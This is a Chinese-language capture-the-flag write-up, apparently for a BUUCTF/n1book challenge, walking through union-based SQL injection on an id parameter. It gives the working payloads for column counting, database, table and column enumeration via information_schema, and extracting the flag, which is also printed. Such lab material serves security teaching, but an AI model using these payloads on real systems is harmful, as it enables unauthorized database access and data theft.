寻找注入点
由域名和题目的名字可以知道咱们这道题需要尝试对它进行SQL注入http://554314db-43b4-4f9d-b9bb-b6089db353a1.node3.buuoj.cn/index.php?id=1
?id=1’ and 1=2 页面出现错误,说明存在注入点 id
尝试注入
测试有几个回显
?id=1’ order by 3 --+ 页面正常
?id=1’ order by 4 --+ 页面报错,说明存在2,3两个回显
开始查库查表查字段
查库名
payload:?id=-1' union select 1,database(),3 --+
回显说数据库名就是 note
查表名
?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 0,1 --+
?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema='note' limit 1,1 --+
发现这边只有两个表,一个是fl4g,一个是notes
相比之下 fl4g更可疑一些,先查一下它的字段
payload:?id=-1' union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='fl4g' --+
成功得到列名
查询字段
payload:?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+
得到flag了!
flag
n1book{union_select_is_so_cool}